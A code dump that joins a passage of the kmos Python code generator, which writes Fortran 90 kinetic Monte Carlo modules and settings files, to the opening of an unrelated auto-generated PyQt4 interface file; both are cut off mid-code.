val\n') after_contains = after_contains + (' chempots(index) = val\n') after_contains = after_contains + ('end subroutine update_chempot\n\n') # out.write('\n! On-the-fly calculators for rate constants\n\n') if separate_files: out.write('\ncontains\n') out.write(after_contains) out.write('\nend module proclist_pars\n') after_contains2 = '' else: out2 = out after_contains2 = after_contains # out.close() # And finally, we need to write the subroutines to return each of the rate constants for iproc, process in enumerate(data.get_processes()): # Open a new file for each gr_<procname> and rate_<procname> routine # get all of flags flags = [] specs_dict = {} for byst in process.bystander_list: for flg in byst.flag.split(): if specs_dict.has_key(flg): specs_dict[flg].extend(byst.allowed_species) else: specs_dict[flg] = copy.deepcopy(byst.allowed_species) flags.append(flg) flags = sorted(list(set(flags))) for flg,spclist in specs_dict.iteritems(): specs_dict[flg] = sorted(spclist) # parse the otf_rate expression to get auxiliary variables new_expr, aux_vars, nr_vars = self._parse_otf_rate(process.otf_rate, process.name, data, indent=indent) for flag in flags: for spec in specs_dict[flag]: nr_var = 'nr_{0}_{1}'.format(spec,flag) if nr_var not in nr_vars: nr_vars.append(nr_var) nr_vars = sorted(nr_vars, key = lambda x: (x.split('_')[2],x.split('_')[1])) nnr_vars = len(nr_vars) if separate_files: out2 = open('{0}/gr_{1:04d}.f90'.format(self.dir,iproc+1),'w') out2.write('module gr_{0:04d}\n'.format(iproc+1)) out2.write('\n! Calculate rates for process {0}\n'.format(process.name)) out2.write('use kind_values\n') out2.write('use lattice\n') out2.write('use proclist_constants\n') out2.write('use proclist_pars\n') out2.write('implicit none\n') out2.write('contains\n') nr_vars_str_len = len(' '.join(nr_vars)) nr_vars_print = ' &\n &'.join(nr_vars) out2.write('character(len={0}), parameter, public :: byst_{1} = "{2}"\n'.format( nr_vars_str_len, process.name, nr_vars_print)) after_contains2 = after_contains2 +('\nfunction gr_{0}(cell)\n'.format(process.name)) after_contains2 = after_contains2 +('%sinteger(kind=iint), dimension(4), intent(in) :: cell\n' % (' '*indent)) if nr_vars: after_contains2 = after_contains2 +( '{0}integer(kind=iint), dimension({1}) :: nr_vars\n'.format( ' '*indent, len(nr_vars),)) after_contains2 = after_contains2 +('{0}real(kind=rdouble) :: gr_{1}\n'.format(' '*indent,process.name)) after_contains2 = after_contains2 +('\n') if nr_vars: after_contains2 = after_contains2 +('{0}nr_vars(:) = 0\n'.format(' '*indent)) for byst in process.bystander_list: after_contains2 = after_contains2 +('%sselect case(get_species(cell%s))\n' % (' '*indent, byst.coord.radd_ff())) for spec in byst.allowed_species: after_contains2 = after_contains2 +('%scase(%s)\n' % (' '*2*indent,spec)) for flg in byst.flag.split(): nrv_indx = nr_vars.index('nr_{0}_{1}'.format(spec,flg))+1 after_contains2 = after_contains2 +\ '{0:s}nr_vars({1:d}) = nr_vars({1:d}) + 1\n'.format( ' '*3*indent, nrv_indx,) after_contains2 = after_contains2 +('%send select\n' % (' '*indent)) after_contains2 = after_contains2 +('\n') if nr_vars: after_contains2 = after_contains2 +( '{0}gr_{1} = rate_{1}(nr_vars)\n'.format( ' '*indent, process.name)) else: after_contains2 = after_contains2 +( '{0}gr_{1} = rate_{1}()\n'.format( ' '*indent, process.name)) after_contains2 = after_contains2 +('{0}return\n'.format(' '*indent)) after_contains2 = after_contains2 +('\nend function gr_{0}\n\n'.format(process.name)) #### if nr_vars: after_contains2 = after_contains2 +('function rate_{0}(nr_vars)\n\n'.format(process.name)) after_contains2 = after_contains2 +( '{0}integer(kind=iint), dimension({1}), intent(in) :: nr_vars\n'\ .format(' '*indent, len(nr_vars))) else: after_contains2 = after_contains2 +('function rate_{0}()\n\n'.format(process.name)) after_contains2 = after_contains2 +('\n') if aux_vars: after_contains2 = after_contains2 +('! Process specific auxiliary variables\n') for aux_var in aux_vars: after_contains2 = after_contains2 +('%sreal(kind=rdouble) :: %s\n' % (' '*indent,aux_var)) after_contains2 = after_contains2 +('\n') after_contains2 = after_contains2 +('{0}real(kind=rdouble) :: rate_{1}\n'.format( ' '*indent,process.name)) # Update the value of the rate expression to account for the nr_var array for iv, nr_var in enumerate(nr_vars): new_expr = new_expr.replace(nr_var, 'nr_vars({0:d})'.format(iv+1)) ## TODO Merge this into the parser function new_expr = new_expr.replace('gr_{0}'.format(process.name), 'rate_{0}'.format(process.name)) after_contains2 = after_contains2 +('{0}\n'.format(new_expr)) after_contains2 = after_contains2 +('%sreturn\n' % (' '*indent)) after_contains2 = after_contains2 +('\nend function rate_{0}\n\n'.format(process.name)) if separate_files: out2.write('\ncontains\n') out2.write(after_contains2) out2.write('\nend module gr_{0:04d}\n'.format(iproc+1)) out2.close() after_contains2 = '' if not separate_files: out.write('\ncontains\n') out.write(after_contains2) out.write('\nend module proclist_pars\n') def _otf_get_auxilirary_params(self,data): import StringIO import tokenize from kmos import units, rate_aliases units_list = [] masses_list = [] chempot_list = [] for process in data.process_list: exprs = [process.rate_constant,] if process.otf_rate: exprs.append(process.otf_rate) for expr in exprs: for old, new in rate_aliases.iteritems(): expr=expr.replace(old, new) try: tokenize_input = StringIO.StringIO(expr).readline tokens = list(tokenize.generate_tokens(tokenize_input)) except: raise Exception('Could not tokenize expression: %s' % expr) for i, token, _, _, _ in tokens: if token in dir(units): if token not in units_list: units_list.append(token) if token.startswith('m_'): if token not in masses_list: masses_list.append(token) elif token.startswith('mu_'): if token not in chempot_list: chempot_list.append(token) return sorted(units_list), sorted(masses_list), sorted(chempot_list) def _parse_otf_rate(self,expr,procname,data,indent=4): """ Parses the otf_rate expression and returns the expression to be inserted into the associated ``get_rate'' subroutine. Additionally collects locally defined variables and the full set of used nr_<species>_<flag> variables in order to include them in the variable declarations in those functions """ import re aux_vars = [] nr_vars = [] if expr: # if not 'base_rate' in expr: # raise UserWarning('Not base_rate in otf_rate for process %s' % procname) # rate_lines = expr.splitlines() #rate_lines = expr.split('\\n') # FIXME still bound by explicit '\n' due to xml parser rate_lines = re.split('\n|\\n', expr) if len(rate_lines) == 1: if not ('=' in rate_lines[0]): rate_lines[0] = 'otf_rate =' + rate_lines[0] elif 'otf_rate' not in rate_lines[0]: raise ValueError('Bad expression for single line otf rate\n' + '{}\n'.format(rate_lines[0]) + " must assign value to 'otf_rate'") elif not 'otf_rate' in expr: raise ValueError('Found a multiline otf_rate expression' " without 'otf_rate' on it") final_expr = '' for rate_line in rate_lines: if '=' in rate_line: # We found a line that assigns a new variable aux_var = rate_line.split('=')[0].strip() if (not aux_var == 'otf_rate' and not aux_var.startswith('nr_') and not aux_var in aux_vars): aux_vars.append(aux_var) parsed_line, nr_vars_line = self._parse_otf_rate_line( rate_line,procname,data,indent=indent) final_expr += '{}{}\n'.format( ' '*indent,parsed_line) nr_vars.extend(nr_vars_line) else: final_expr = '{0}gr_{1} = rates({1})'.format(' '*indent, procname) return final_expr, aux_vars, list(set(nr_vars)) def _parse_otf_rate_line(self,expr,procname,data,indent=4): """ Parses an individual line of the otf_rate returning the processed line and a list of the nr_<species>_<flag> encountered """ import StringIO, tokenize from kmos import units, rate_aliases param_names = [param.name for param in data.parameter_list] MAXLEN = 65 # Maximun line length nr_vars = [] # 'base_rate' has special meaning in otf_rate expr = expr.replace('base_rate','rates(%s)' % procname) # so does 'otf_rate' expr = expr.replace('otf_rate','gr_{}'.format(procname)) # And all aliases need to be replaced for old, new in rate_aliases.iteritems(): expr = expr.replace(old,new) # Then time to tokenize: try: tokenize_input = StringIO.StringIO(expr).readline tokens = list(tokenize.generate_tokens(tokenize_input)) except: raise Exception('kmos.io: Could not tokenize expression: %s' % expr) replaced_tokens = [] split_expression = '' currl=0 for i, token, _, _, _ in tokens: if token.startswith('nr_'): nr_vars.append(token) if token.startswith('mu_'): replaced_tokens.append((i,'chempots(%s)' % token)) elif token in param_names: replaced_tokens.append((i,'userpar(%s)' % token)) else: replaced_tokens.append((i,token)) # Make code a bit better looking if (replaced_tokens[-1][1] in ['(','gt','lt','eq','ge','le','{','[','.']): # DEBUG # print('Skipping space for {}'.format(replaced_tokens[-1][1])) toadd = replaced_tokens[-1][1] else: toadd = '{0} '.format(replaced_tokens[-1][1]) if (currl+len(toadd))<MAXLEN: split_expression+=toadd currl += len(toadd) else: split_expression+='&\n{0}&{1} '.format( ' '*indent,toadd) currl=len(toadd) return split_expression, list(set(nr_vars)) def write_proclist_otf(self, data, out, separate_files = True, debug=False): """ Writes the proclist.f90 file for the otf backend """ # initialize progress bar if os.name == 'posix': from kmos.utils.progressbar import ProgressBar progress_bar = ProgressBar('blue', width=80) progress_bar.render(10, 'generic part') out.write(('module proclist\n' 'use kind_values\n' 'use base, only: &\n' ' update_accum_rate, &\n' ' update_integ_rate, &\n' ' reaccumulate_rates_matrix, &\n' ' determine_procsite, &\n' ' update_clocks, &\n' ' avail_sites, &\n')) if len(data.layer_list) == 1 : # multi-lattice mode out.write(' null_species, &\n') else: out.write(' set_null_species, &\n') out.write(' increment_procstat\n\n' 'use lattice, only: &\n') site_params = [] for layer in data.layer_list: out.write(' %s, &\n' % layer.name) for site in layer.sites: site_params.append((site.name, layer.name)) for i, (site, layer) in enumerate(site_params): out.write((' %s_%s, &\n') % (layer, site)) out.write(' allocate_system, &\n' ' nr2lattice, &\n' ' lattice2nr, &\n' ' add_proc, &\n' ' can_do, &\n' ' set_rate_const, &\n' ' replace_species, &\n' ' del_proc, &\n' ' reset_site, &\n' ' system_size, &\n' ' update_rates_matrix, &\n' ' spuck, &\n') out.write(' get_species\n') out.write('use proclist_constants\n') out.write('use proclist_pars\n') if separate_files and self.separate_proclist_pars: for i in range(len(data.process_list)): out.write('use run_proc_{0:04d}; use gr_{0:04d}\n'.format( i+1)) elif separate_files: for i in range(len(data.process_list)): out.write('use run_proc_{0:04d}\n'.format( i+1)) out.write('\nimplicit none\n') representation_length = max([len(species.representation) for species in data.species_list]) out.write('integer(kind=iint), parameter, public :: representation_length = %s\n' % representation_length) if os.name == 'posix': out.write('integer(kind=iint), public :: seed_size = 12\n') elif os.name == 'nt': out.write('integer(kind=iint), public :: seed_size = 12\n') else: out.write('integer(kind=iint), public :: seed_size = 8\n') out.write('integer(kind=iint), public :: seed ! random seed\n') out.write('integer(kind=iint), public, dimension(:), allocatable :: seed_arr ! random seed\n') out.write('\n\ninteger(kind=iint), parameter, public :: nr_of_proc = %s\n'\ % (len(data.process_list))) code_generator='otf' out.write('\ncharacter(len=%s), parameter, public :: backend = "%s"\n' % (len(code_generator), code_generator)) out.write('\ncontains\n\n') self.write_proclist_generic_subroutines(data, out, code_generator='otf') self.write_proclist_touchup_otf(data,out) self.write_proclist_run_proc_nr_otf(data,out) self.write_proclist_run_proc_name_otf(data,out,separate_files=separate_files) # and we are done! if os.name == 'posix': progress_bar.render(100, 'finished proclist.f90') def write_proclist_touchup_otf(self, data, out): """ The touchup function Updates the elementary steps that a cell can do given the current lattice configuration. This has to be run once for every cell to initialize the simulation book-keeping. """ indent = 4 out.write('subroutine touchup_cell(cell)\n') out.write(' integer(kind=iint), intent(in), dimension(4) :: cell\n\n') out.write(' integer(kind=iint), dimension(4) :: site\n\n') out.write(' integer(kind=iint) :: proc_nr\n\n') # First kill all processes from this site that are allowed out.write(' site = cell + (/0, 0, 0, 1/)\n') out.write(' do proc_nr = 1, nr_of_proc\n') out.write(' if(avail_sites(proc_nr, lattice2nr(site(1), site(2), site(3), site(4)) , 2).ne.0)then\n') out.write(' call del_proc(proc_nr, site)\n') out.write(' endif\n') out.write(' end do\n\n') # Then we need to build the iftree that will update all processes # from this site enabling_items = [] for process in data.process_list: rel_pos = (0,0,0) # during touchup we only activate procs from current site #rel_pos_string = 'cell + (/ %s, %s, %s, 1 /)' % (rel_pos[0],rel_pos[1], rel_pos[2]) # CHECK!! item2 = (process.name,rel_pos,True) # coded like this to be parallel to write_proclist_run_proc_name_otf enabling_items.append(( copy.deepcopy(process.condition_list), copy.deepcopy(item2))) self._write_optimal_iftree_otf(enabling_items, indent, out) out.write('\nend subroutine touchup_cell\n') def write_proclist_run_proc_nr_otf(self, data, out): # run_proc_nr runs the process selected by determine_procsite # this routine only selects the correct routine from all # of the run_proc_<procname> routines out.write('subroutine run_proc_nr(proc, nr_cell)\n\n' '!****f* proclist/run_proc_nr\n' '! FUNCTION\n' '! Runs process ``proc`` on site ``nr_site``.\n' '!\n' '! ARGUMENTS\n' '!\n' '! * ``proc`` integer representing the process number\n' '! * ``nr_site`` integer representing the site\n' '!******\n' ' integer(kind=iint), intent(in) :: proc\n' ' integer(kind=iint), intent(in) :: nr_cell\n\n' ' integer(kind=iint), dimension(4) :: cell\n\n' ' call increment_procstat(proc)\n\n' ' ! lsite = lattice_site, (vs. scalar site)\n' ' cell = nr2lattice(nr_cell, :) + (/0, 0, 0, -1/)\n\n' ' select case(proc)\n') for process in data.process_list: out.write(' case(%s)\n' % process.name) if data.meta.debug > 0: out.write(('print *,"PROCLIST/RUN_PROC_NR/NAME","%s"\n' 'print *,"PROCLIST/RUN_PROC_NR/LSITE",lsite\n' 'print *,"PROCLIST/RUN_PROC_NR/SITE",nr_site\n') % process.name) out.write(' call run_proc_%s(cell)\n' % process.name) out.write('\n') out.write(' end select\n\n') out.write('end subroutine run_proc_nr\n\n') def write_proclist_run_proc_name_otf(self,data,out=None,separate_files = False, indent=4): """ This routine implements the routines that execute an specific process. As with the local_smart backend, turning processes off is easy. For turning processes on, we reuse the same logic as in local_smart, but now working on whole processes, rather that with put/take single site routines. Aditionally, this routines must call the gr_<procname> routines, which are defined in the proclist_pars module """ nprocs = len(data.process_list) process_list = data.get_processes() debug = 0 for iproc, exec_proc in enumerate(data.get_processes()): if separate_files: out2 = open('{0}/run_proc_{1:04d}.f90'.format(self.dir,iproc+1),'w') out2.write('module run_proc_{0:04d}\n\n'.format(iproc+1)) out2.write('use kind_values\n') out2.write('use lattice\n') out2.write('use proclist_pars\n') if self.separate_proclist_pars: for i in xrange(nprocs): out2.write('use gr_{0:04d}\n'.format(i+1)) ## TODO Finish with use statments out2.write('\nimplicit none\n') out2.write('contains\n') else: out2 = out routine_name = 'run_proc_%s' % exec_proc.name out2.write('\nsubroutine %s(cell)\n\n' %routine_name) out2.write('%sinteger(kind=iint), dimension(4), intent(in) :: cell\n\n' % (' '*indent)) # We will sort out all processes that are (potentially) influenced # (inhibited, activated or changed rate) # by the executing process inh_procs = [copy.copy([]) for i in xrange(nprocs)] enh_procs = copy.deepcopy(inh_procs) aff_procs = copy.deepcopy(enh_procs) # And look into how each of its actions... for exec_action in exec_proc.action_list: # ... affect each other processes' conditions for ip,proc in enumerate(process_list): for condition in proc.condition_list: if condition.coord.name == exec_action.coord.name and\ condition.coord.layer == exec_action.coord.layer: # If any of the target process condition is compatible with # this action, we need to store the relative position of this # process with respect to the current process' location rel_pos = tuple((exec_action.coord - condition.coord).offset) if not condition.species == exec_action.species: inh_procs[ip].append(copy.deepcopy(rel_pos)) else: enh_procs[ip].append(copy.deepcopy(rel_pos)) # and similarly for the bystanders for byst in proc.bystander_list: if byst.coord.name == exec_action.coord.name and\ byst.coord.layer == exec_action.coord.layer: rel_pos = tuple((exec_action.coord - byst.coord).offset) aff_procs[ip].append(copy.deepcopy(rel_pos)) if debug > 0: print('For process: %s' % exec_proc.name) print('No inh procs: %s' % [len(sublist) for sublist in inh_procs]) print(inh_procs) print('No enh procs: %s' % [len(sublist) for sublist in enh_procs]) print(enh_procs) print('No aff procs; %s' % [len(sublist) for sublist in aff_procs]) print(aff_procs) print(' ') ## Get rid of repetition for ip in xrange(nprocs): inh_procs[ip] = [rel_pos for rel_pos in set(inh_procs[ip])] for ip in xrange(nprocs): enh_procs[ip] = [rel_pos for rel_pos in set(enh_procs[ip]) if not (rel_pos in inh_procs[ip])] aff_procs[ip] = [rel_pos for rel_pos in set(aff_procs[ip]) if not (rel_pos in inh_procs[ip])] if debug > 0: print('AFTER REDUCTION') print('For process: %s' % exec_proc.name) print('No inh procs: %s' % [len(sublist) for sublist in inh_procs]) print(inh_procs) print('No enh procs: %s' % [len(sublist) for sublist in enh_procs]) print(enh_procs) print('No aff procs; %s' % [len(sublist) for sublist in aff_procs]) print(aff_procs) print(' ') ## Write the del_proc calls for all inh_procs out2.write('\n! Disable processes\n\n') for ip,sublist in enumerate(inh_procs): for rel_pos in sublist: out2.write('%sif(can_do(%s,cell + (/ %s, %s, %s, 1/))) then\n' % (' '*indent,process_list[ip].name, rel_pos[0],rel_pos[1],rel_pos[2])) out2.write('%scall del_proc(%s,cell + (/ %s, %s, %s, 1/))\n' % (' '*2*indent,process_list[ip].name, rel_pos[0],rel_pos[1],rel_pos[2])) out2.write('%send if\n' % (' '*indent)) ## Update the lattice! out2.write('\n! Update the lattice\n') for exec_action in exec_proc.action_list: # find the corresponding condition matching_conds = [cond for cond in exec_proc.condition_list if cond.coord == exec_action.coord] if len(matching_conds)==1: prev_spec = matching_conds[0].species else: raise RuntimeError('Found wrong number of matching conditions: %s' % len(matching_conds)) out2.write('%scall replace_species(cell%s,%s,%s)\n' % ( ' '*indent, exec_action.coord.radd_ff(), prev_spec, exec_action.species)) ## Write the modification routines for already active processes out2.write('\n! Update rate constants\n\n') for ip,sublist in enumerate(aff_procs): for rel_pos in sublist: out2.write('%sif(can_do(%s,cell + (/ %s, %s, %s, 1/))) then\n' % (' '*indent,process_list[ip].name, rel_pos[0], rel_pos[1], rel_pos[2])) rel_site = 'cell + (/ %s, %s, %s, 1/)' % rel_pos rel_cell = 'cell + (/ %s, %s, %s, 0/)' % rel_pos out2.write( '{0}call update_rates_matrix({1},{2},gr_{3}({4}))\n'\ .format(' '*2*indent, process_list[ip].name, rel_site, process_list[ip].name, rel_cell, )) out2.write('%send if\n' % (' '*indent)) ## Write the update_rate calls for all processes if allowed ## Prepare a flatlist of all processes name, the relative ## coordinate in which to be executed and the list of ## need-to-be-checked conditions in the order ## [ other_conditions, (proc_name, relative_site, True) ] ## to mantain compatibility with older routine enabling_items = [] out2.write('\n! Enable processes\n\n') for ip,sublist in enumerate(enh_procs): for rel_pos in sublist: # rel_pos_string = 'cell + (/ %s, %s, %s, 1 /)' % (rel_pos[0],rel_pos[1],rel_pos[2]) # FIXME item2 = (process_list[ip].name,copy.deepcopy(rel_pos),True) ## filter out conditions already met other_conditions = [] for cond in process_list[ip].condition_list: # this probably be incorporated in the part in which we # eliminated duplicates... must think exactly how for exec_action in exec_proc.action_list: if (exec_action.coord.name == cond.coord.name and exec_action.coord.layer == cond.coord.layer and rel_pos == tuple((exec_action.coord-cond.coord).offset)): if not exec_action.species == cond.species: raise RuntimeError('Found discrepancy in process selected for enabling!') else: break else: relative_coord = Coord(name=cond.coord.name, layer=cond.coord.layer, offset=cond.coord.offset+np.array(rel_pos), ) other_conditions.append(ConditionAction(coord=relative_coord, species=cond.species)) enabling_items.append((copy.deepcopy(other_conditions),copy.deepcopy(item2))) self._write_optimal_iftree_otf(enabling_items, indent, out2) out2.write('\nend subroutine %s\n' % routine_name) if separate_files: out2.write('\nend module run_proc_{0:04d}\n'.format(iproc+1)) out2.close() def _write_optimal_iftree_otf(self, items, indent, out): # this function is called recursively # so first we define the ANCHORS or SPECIAL CASES # if no conditions are left, enable process immediately # I actually don't know if this tree is optimal # So consider this a heuristic solution which should give # on average better results than the brute force way # TODO Must correct site/coord once understood # print(' ') # print('ROUTINE GOT CALLED') # print(' ') for item in filter(lambda x: not x[0], items): # [1][2] field of the item determine if this search is intended for enabling (=True) or # disabling (=False) a process if item[1][2]: rel_cell = 'cell + (/ %s, %s, %s, 0/)' % (item[1][1][0], item[1][1][1], item[1][1][2],) rel_site = 'cell + (/ %s, %s, %s, 1/)' % (item[1][1][0], item[1][1][1], item[1][1][2],) out.write('%scall add_proc(%s, %s, gr_%s(%s))\n' % (' ' * indent, item[1][0], rel_site, item[1][0], rel_cell)) else: out.write('%scall del_proc(%s, %s)\n' % (' ' * indent, item[1][0], rel_site)) # and only keep those that have conditions items = filter(lambda x: x[0], items) if not items: return # now the GENERAL CASE # first find site, that is most sought after most_common_coord = _most_common([y.coord for y in _flatten([x[0] for x in items])]) # filter out list of uniq answers for this site answers = [y.species for y in filter(lambda x: x.coord == most_common_coord, _flatten([x[0] for x in items]))] uniq_answers = list(set(answers)) if self.data.meta.debug > 1: out.write('print *," IFTREE/GET_SPECIES/VSITE","%s"\n' % most_common_coord) out.write('print *," IFTREE/GET_SPECIES/SITE","%s"\n' % most_common_coord.radd_ff()) # out.write('print *," IFFTREE/GET_SPECIES/SPECIES",get_species(cell%s)\n' % most_common_coord.radd_ff()) # rel_coord = 'cell + (/ %s, %s, %s, %s /)' % (most_common_coord.offset[0], # most_common_coord.offset[1], # most_common_coord.offset[2], # most_common_coord.name) # out.write('%sselect case(get_species(%s))\n' % ((indent) * ' ', rel_coord)) out.write('%sselect case(get_species(cell%s))\n' % ((indent) * ' ', most_common_coord.radd_ff() )) for answer in uniq_answers: # print(' ') # print('NEW answer = %s' % answer) # print(' ') out.write('%scase(%s)\n' % ((indent) * ' ', answer)) # this very crazy expression matches at items that contain # a question for the same coordinate and have the same answer here # print('Calling nested items with:') # print(items) # print('for most_common_coord: %s' % most_common_coord) # print(' ') nested_items = filter( lambda x: (most_common_coord in [y.coord for y in x[0]] and answer == filter(lambda y: y.coord == most_common_coord, x[0])[0].species), items) # print('nested items resulted in:') # print(nested_items) # print(' ') # pruned items are almost identical to nested items, except the have # the one condition removed, that we just met pruned_items = [] for nested_item in nested_items: conditions = filter(lambda x: most_common_coord != x.coord, nested_item[0]) pruned_items.append((conditions, nested_item[1])) items = filter(lambda x: x not in nested_items, items) self._write_optimal_iftree_otf(pruned_items, indent + 4, out) out.write('%send select\n\n' % (indent * ' ',)) if items: # if items are left # the RECURSION II self._write_optimal_iftree_otf(items, indent, out) def write_settings(self, code_generator='lat_int', accelerated=False): """Write the kmc_settings.py. This contains all parameters, which can be changed on the fly and without recompilation of the Fortran 90 modules. """ from kmos import evaluate_rate_expression data = self.data out = open(os.path.join(self.dir, 'kmc_settings.py'), 'w') out.write('model_name = \'%s\'\n' % self.data.meta.model_name) out.write('simulation_size = 20\n') if accelerated: out.write('buffer_parameter = 1000\n') out.write('threshold_parameter = 0.2\n') out.write('sampling_steps = 20\n') out.write('execution_steps = 200\n') out.write('save_limit = 1000\n') out.write('random_seed = 1\n\n') # stub for setup function out.write('def setup_model(model):\n') out.write(' """Write initialization steps here.\n') out.write(' e.g. ::\n') out.write(' model.put([0,0,0,model.lattice.default_a], model.proclist.species_a)\n') out.write(' """\n') out.write(' #from setup_model import setup_model\n') out.write(' #setup_model(model)\n') out.write(' pass\n\n') out.write('# Default history length in graph\n') out.write('hist_length = 30\n\n') # Parameters out.write('parameters = {\n') for parameter in data.parameter_list: out.write((' "%s":{"value":"%s", "adjustable":%s,' + ' "min":"%s", "max":"%s","scale":"%s"},\n') % (parameter.name, parameter.value, parameter.adjustable, parameter.min, parameter.max, parameter.scale)) out.write(' }\n\n') #In acceleration scheme, sort processes so that they occur pair-wise #This requires that all processes have been defined with actions/ #conditions that match pair-wise. If that is not the case, an error #will be raised. if accelerated: #write proc_pair_indices compare = lambda x, y: collections.Counter(x) == collections.Counter(y) assert (len(data.process_list) % 2 == 0), 'the total number of processes must be an even number' proc_pair_indices = [0]*len(data.process_list) k=1 for n,process1 in enumerate(data.process_list): for m,process2 in enumerate(data.process_list): if n < m: if compare(process1.condition_list, process2.action_list) and compare(process2.condition_list, process1.action_list): proc_pair_indices[n] = k proc_pair_indices[m] = -k k += 1 assert (k - 1 == len(data.process_list)/2), 'not all processes could be paired' out.write('proc_pair_indices = %s\n' %proc_pair_indices) out.write('\n') #write is_diff_proc is_diff_proc = [] for process in data.process_list: if 'diff' in process.name: is_diff_proc.append(True) else: is_diff_proc.append(False) out.write('is_diff_proc = %s\n' %is_diff_proc) out.write('\n') # Rate constants out.write('rate_constants = {\n') for process in data.process_list: out.write(' "%s":("%s", %s),\n' % (process.name, process.rate_constant, process.enabled)) try: parameters = {} for param in data.parameter_list: parameters[param.name] = {'value': param.value} except Exception, e: raise UserWarning('Parameter ill-defined(%s)\n%s\nProcess: %s' % (param, e, process.name)) try: evaluate_rate_expression(process.rate_constant, parameters) except Exception, e: raise UserWarning('Could not evaluate (%s)\n%s\nProcess: %s' % (process.rate_constant, e, process.name)) out.write(' }\n\n') if code_generator == 'otf': # additional auxiliary variables to be used in the calculation of rate constants # Must explore all rate expressions and otf_rate expressions _ , _, chempot_list = self._otf_get_auxilirary_params(data) if chempot_list: out.write('chemical_potentials = [\n') for param in chempot_list: out.write(' "%s",\n' % param) out.write(' ]\n\n') # Site Names site_params = self._get_site_params() out.write('site_names = %s\n' % ['%s_%s' % (x[1], x[0]) for x in site_params]) # Graphical Representations # rename to species # and include tags out.write('representations = {\n') for species in sorted(data.get_speciess(), key=lambda x: x.name): out.write(' "%s":"""%s""",\n' % (species.name, species.representation.strip())) out.write(' }\n\n') out.write('lattice_representation = """%s"""\n\n' % data.layer_list.representation) # Species Tags out.write('species_tags = {\n') for species in sorted(data.get_speciess(), key=lambda x: x.name): out.write(' "%s":"""%s""",\n' % (species.name, species.tags.strip())) out.write(' }\n\n') # TOF counting out.write('tof_count = {\n') for process in data.get_processes(): if process.tof_count is not None: out.write(' "%s":%s,\n' % (process.name, process.tof_count)) out.write(' }\n\n') # XML out.write('xml = """%s"""\n' % data) out.close() def _get_site_params(self): data = self.data site_params = [] for layer in data.layer_list: for site in layer.sites: site_params.append((site.name, layer.name, tuple(site.pos))) return site_params def _gpl_message(self): """Prints the GPL statement at the top of the source file""" data = self.data out = '' out += "! This file was generated by kMOS (kMC modelling on steroids)\n" out += "! written by Max J. Hoffmann mjhoffmann@gmail.com (C) 2009-2013.\n" if hasattr(data.meta, 'author'): out += '! The model was written by ' + data.meta.author + '.\n' out += """ ! This file is part of kmos. ! ! kmos is free software; you can redistribute it and/or modify ! it under the terms of the GNU General Public License as published by ! the Free Software Foundation; either version 2 of the License, or ! (at your option) any later version. ! ! kmos is distributed in the hope that it will be useful, ! but WITHOUT ANY WARRANTY; without even the implied warranty of ! MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ! GNU General Public License for more details. ! ! You should have received a copy of the GNU General Public License ! along with kmos; if not, write to the Free Software ! Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 ! USA """ return out def export_source(project_tree, export_dir=None, code_generator=None, options=None, accelerated=False): """Export a kmos project into Fortran 90 code that can be readily compiled using f2py. The model contained in project_tree will be stored under the directory export_dir. export_dir will be created if it does not exist. The XML representation of the model will be included in the kmc_settings.py module. `export_source`
codeparrot/github-code-clean
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'User_interface.ui' # # Created: Tue May 16 10:33:40 2017 # by: PyQt4 UI code generator 4.10.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_PyQtGate(object): def setupUi(self, PyQtGate): PyQtGate.setObjectName(_fromUtf8("PyQtGate")) PyQtGate.setWindowModality(QtCore.Qt.ApplicationModal) PyQtGate.resize(862, 575) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(PyQtGate.sizePolicy().hasHeightForWidth()) PyQtGate.setSizePolicy(sizePolicy) PyQtGate.setAcceptDrops(False) PyQtGate.setAutoFillBackground(False) PyQtGate.setModal(True) self.tabPrincipal = QtGui.QTabWidget(PyQtGate) self.tabPrincipal.setGeometry(QtCore.QRect(6, 7, 851, 561)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tabPrincipal.sizePolicy().hasHeightForWidth()) self.tabPrincipal.setSizePolicy(sizePolicy) self.tabPrincipal.setObjectName(_fromUtf8("tabPrincipal")) self.tab_mostrador = QtGui.QWidget() self.tab_mostrador.setObjectName(_fromUtf8("tab_mostrador")) self.pB_startacq = QtGui.QPushButton(self.tab_mostrador) self.pB_startacq.setGeometry(QtCore.QRect(520, 498, 141, 27)) self.pB_startacq.setObjectName(_fromUtf8("pB_startacq")) self.l_mostrador = QtGui.QLabel(self.tab_mostrador) self.l_mostrador.setGeometry(QtCore.QRect(110, 503, 111, 17)) self.l_mostrador.setObjectName(_fromUtf8("l_mostrador")) self.label_7 = QtGui.QLabel(self.tab_mostrador) self.label_7.setGeometry(QtCore.QRect(30, 503, 81, 17)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.label_7.setFont(font) self.label_7.setObjectName(_fromUtf8("label_7")) self.vS_channel_1 = QtGui.QSlider(self.tab_mostrador) self.vS_channel_1.setGeometry(QtCore.QRect(758, 27, 29, 61)) self.vS_channel_1.setMaximum(1023) self.vS_channel_1.setProperty("value", 512) self.vS_channel_1.setTracking(True) self.vS_channel_1.setOrientation(QtCore.Qt.Vertical) self.vS_channel_1.setObjectName(_fromUtf8("vS_channel_1")) self.lE_channel_1 = QtGui.QLineEdit(self.tab_mostrador) self.lE_channel_1.setGeometry(QtCore.QRect(788, 47, 41, 27)) self.lE_channel_1.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_channel_1.setObjectName(_fromUtf8("lE_channel_1")) self.vS_channel_2 = QtGui.QSlider(self.tab_mostrador) self.vS_channel_2.setGeometry(QtCore.QRect(758, 107, 29, 61)) 